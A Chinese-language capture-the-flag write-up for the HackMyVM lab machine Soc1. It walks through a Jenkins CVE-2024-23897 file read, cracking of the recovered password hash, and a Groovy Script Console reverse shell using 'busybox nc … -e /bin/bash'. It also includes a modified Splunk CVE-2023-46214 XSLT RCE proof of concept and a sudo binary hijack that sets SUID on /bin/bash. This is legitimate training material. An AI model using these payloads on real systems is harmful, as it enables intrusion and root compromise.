Soc1

https://hackmyvm.eu/machines/machine.php?vm=Soc1

Recon

PortScan

➜  Soc1 nmap -sT -min-rate 10000 -p- 192.168.56.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 15:41 CST
Nmap scan report for 192.168.56.137
Host is up (0.00064s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8080/tcp open  http-proxy
8089/tcp open  unknown
8191/tcp open  limnerpressure
MAC Address: 08:00:27:F1:56:0D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds

➜  Soc1 nmap -sT -A -p 22,80,8000,8080,8089,8191 192.168.56.137                                                    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 15:42 CST
Nmap scan report for 192.168.56.137                    
Host is up (0.00051s latency).
                                                         
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)                                       
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http     Apache httpd 2.4.62 ((Debian))                                                            
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).                                                                                                                                                                 
|_http-server-header: Apache/2.4.62 (Debian)                                                                      
8000/tcp open  http     Splunkd httpd                                                                             
| http-title: Site doesn't have a title (text/html; charset=UTF-8).                                               
|_Requested resource was http://192.168.56.137:8000/en-US/account/login?return_to=%2Fen-US%2F                     
| http-robots.txt: 1 disallowed entry                    
|_/                                                      
|_http-server-header: Splunkd                            
8080/tcp open  http     Jetty 10.0.18                    
| http-open-proxy: Potentially OPEN proxy.               
|_Methods supported:CONNECTION                                                                                    
|_http-title: Dashboard [Jenkins]                                                                                                                                                                                                   
| http-robots.txt: 1 disallowed entry                    
|_/                                                                                                                                                                                                                                 
|_http-server-header: Jetty(10.0.18)                                                                              
8089/tcp open  ssl/http Splunkd httpd                                                                                                                                                                                               
|_http-title: splunkd              
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser                               
| Not valid before: 2025-10-13T11:00:50         
|_Not valid after:  2028-10-12T11:00:50
| http-robots.txt: 1 disallowed entry 
|_/                
|_http-server-header: Splunkd
8191/tcp open  mongodb  MongoDB 3.6 after 3.6.3, or 3.7.3 or later                                                
MAC Address: 08:00:27:F1:56:0D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)                                  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port             
Device type: general purpose|router                                                                               
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X            
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3                                                                                                          
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)                                                                                                                                 
Network Distance: 1 hop                                                                                           
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                                                         
TRACEROUTE                                               
HOP RTT     ADDRESS            
1   0.50 ms 192.168.56.137                                                                                        
                                                         
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.71 seconds

开放了多个 Web 服务 (Apache, Splunk, Jenkins) 和一个数据库服务 (MongoDB)

枚举 - web

首先还是看 WEB 服务，但是貌似并没有什么有趣的信息

目录扫描

200      GET        1l        3w       16c http://192.168.56.137/
200      GET        1l        3w       16c http://192.168.56.137/index.php

枚举 - Jenkins

8080 端口是 Jenkins，并且可以看到存在 test 用户

从网上搜索 Jenkins 较新的漏洞，能找到 CVE-2024-23897，是一个任意文件读取漏洞

测试漏洞，确认存在任意文件读取漏洞

存在漏洞后，可以根据这篇文章的思路进行利用： https://blog.csdn.net/qq_34594929/article/details/136446671

尝试读取用户文件，提示 No such file，估计默认路径估计被修改了

➜  CVE-2024-23897 git:(main) python CVE-2024-23897.py -t 192.168.56.137 -p 8080 -f '/var/soc/jenkins/users/users.xml' -c who-am-i

CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner.
Alexander Hagenah / @xaitax / ah@primepage.de"

🔍 Scanning http://192.168.56.137:8080
💣 Exploit Response from http://192.168.56.137:8080: 

ERROR: No such file: /var/soc/jenkins/users/users.xml
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.

尝试读取 Systemd 服务单元文件，因为 Linux 系统使用 systemd 来管理服务。Jenkins 的服务配置文件会告诉我们它以哪个用户身份运行、环境变量是什么，所以可能会有路径信息

推荐使用此项目对漏洞进行利用： https://github.com/verylazytech/CVE-2024-23897

python CVE-2024-23897.py -u 192.168.56.137:8080 -f '/etc/systemd/system/jenkins.service'

这里获取到类似于 jenkins 路径的信息，但还是错误的，提示 File does not exist

随缘测试，测试到 jenkins 目录是在 /var/lib

users.xml显示系统上的单个用户 test，其文件夹为 /var/lib/jenkins/users/test_3253830066040356536

在每一个用户文件中，都包含 config.xml 文件，并且包含密码 HASH

$2a$10$vKk.FDrPqNyv01Nx2QM6Gee0aq.7HUaCZIIGfODqdShRSQNmVSZCm

将加密密码通过 hashcat 进行爆破

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt

枚举 - Splunk

趁密码还在进行破解中，我们再读取一下 Splunk 的配置文件

使用常规的安装路径 /opt/splunk 进行读取，成功读取

这里读取了 /opt/splunk/etc/passwd 和 /etc/system/local/server.conf 等文件都是返回 empty 和 File does not exist

STOP，密码破解出来了...

枚举 - Jenkins - 2

密码破解出来了，是 test1234，感觉前面应该再多猜猜的。。。。

Jenkins 后台利用

利用后台进行反弹 shell，找到 Script Console

先进行测试

println "cat /etc/passwd".execute().text

成功执行，直接弹

println "busybox nc 192.168.56.5 1234 -e /bin/bash".execute().text

能读取 user.txt 存在于 splunk 用户家目录中

jenkins@SOC:/home/splunk$ cat user.txt
cat user.txt
flag{69cxxxxxxxxxxxxxxxxxxxxxxxxxx}

提权

查看 sudo 权限

jenkins@SOC:/$ sudo -l
sudo -l
Matching Defaults entries for jenkins on SOC:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jenkins may run the following commands on SOC:
    (ALL) NOPASSWD: /opt/splunk/bin/splunk search *
    (ALL) NOPASSWD: /opt/splunk/bin/splunk restart

这里运行需要 splunk 用户的权限

翻到 passwd.old 中有记录，提示我们 Administrator 的密码可以在 seclists/Passwords 中找到，并且给出了 test 用户的账户密码

jenkins@SOC:/opt/splunk/etc$ cat passwd.old 
Administrator passwords can be found under the seclists/Passwords folder.
grep -R 'splunk'
test:test1234

那么 Administrator 的密码大概就是如下的其中一个

对凭据进行测试（测试命令由 AI 生成，对 Splunk 不熟）

curl -k -u xxxx:xxxx https://192.168.56.137:8089/services/apps/local

最后测试得到 splunk:splunk123 是正确的的凭据，但是不知道得到凭据该如何进行利用

最后在 sudo 权限这里死磕了半天，实在没找到什么方法可以进行利用，故放弃

CVE-2023-46214

随后在 splunk 中搜索可以修改的文件，能找到 web.conf

jenkins@SOC:/opt/splunk$ find . -type f -writable 2>/dev/null
./etc/system/default/web.conf

通过搜索引擎能找到一个漏洞是和该文件相关的（PS：图片打错字了，但不影响）

https://www.freebuf.com/vuls/384743.html

找到一个利用：https://github.com/nathan31337/Splunk-RCE-poc

上边的文章的临时措施是将 enableSearchJobXslt 改为 false ，所以我们先把它改成 True

然后我们的 sudo 允许我们重启 splunk

(ALL) NOPASSWD: /opt/splunk/bin/splunk restart

最后利用 POC，但是没成功。。。。

我们查看未修改的 POC，是通过 sh 来弹

我们修改为通过 busybox nc 来弹

#!/usr/bin/env python3

import argparse
import requests
import json

# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
proxies = {}

def generate_malicious_xsl(ip, port):
    return f"""<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
        <xsl:text>busybox nc {ip} {port} -e /bin/bash</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
"""
......

成功接收到 Shell

程序劫持

因为我们是 splunk 用户，直接替换掉 splunk，替换为提权的可执行文件，然后通过 Jenkins 用户的 sudo 权限来执行即可

梭哈

# Splunk
rm /opt/splunk/bin/splunk
echo "chmod +s /bin/bash" > /opt/splunk/bin/splunk
chmod +x /opt/splunk/bin/splunk
# Jenkins
sudo /opt/splunk/bin/splunk restart

成了

读取 root.txt

jenkins@SOC:/opt/splunk/bin/scripts$ /bin/bash -p
bash-5.0# cat /root/root.txt 
flag{418dd7b6ffb3xxxxxxxxxxxxxxxxxxxxx2f}

总结

头痛。。。密码那块我还用 Administrator 作用户名爆破了好久。。

HackMyVM - Soc1